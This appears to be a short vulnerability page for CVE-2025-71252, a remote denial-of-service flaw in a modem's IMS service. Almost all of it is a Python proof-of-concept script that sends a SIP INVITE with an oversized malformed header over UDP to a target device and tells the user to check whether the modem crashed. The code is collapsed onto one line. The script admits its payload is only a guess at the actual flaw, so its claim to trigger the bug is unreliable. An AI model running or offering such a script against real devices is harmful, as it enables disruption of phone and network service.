CVE-2025-71252 Modem IMS远程拒绝服务漏洞

import socket # PoC for CVE-2025-71252 (Conceptual) # This script sends a malformed packet to the target IMS service to trigger the DoS. # Replace TARGET_IP with the actual IP address of the vulnerable device/interface. TARGET_IP = "192.168.1.100" TARGET_PORT = 5060 # Default SIP/IMS port def send_malformed_packet(): try: # Construct a malformed SIP header or payload # The specific payload depends on the exact input validation flaw payload = b"INVITE sip:[email protected] SIP/2.0\r\n" payload += b"Via: SIP/2.0/UDP attacker.com:5060\r\n" payload += b"Max-Forwards: 70\r\n" payload += b"To: <sip:[email protected]>\r\n" payload += b"From: <sip:[email protected]>;tag=12345\r\n" payload += b"Call-ID: [email protected]\r\n" payload += b"CSeq: 1 INVITE\r\n" payload += b"Contact: <sip:[email protected]>\r\n" payload += b"Content-Length: 0\r\n" payload += b"Malformed-Header: " + b"A" * 1000 + b"\r\n\r\n" print(f"[*] Sending payload to {TARGET_IP}:{TARGET_PORT}...") s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(payload, (TARGET_IP, TARGET_PORT)) s.close() print("[+] Payload sent successfully. Check if the device modem has crashed.") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": send_malformed_packet()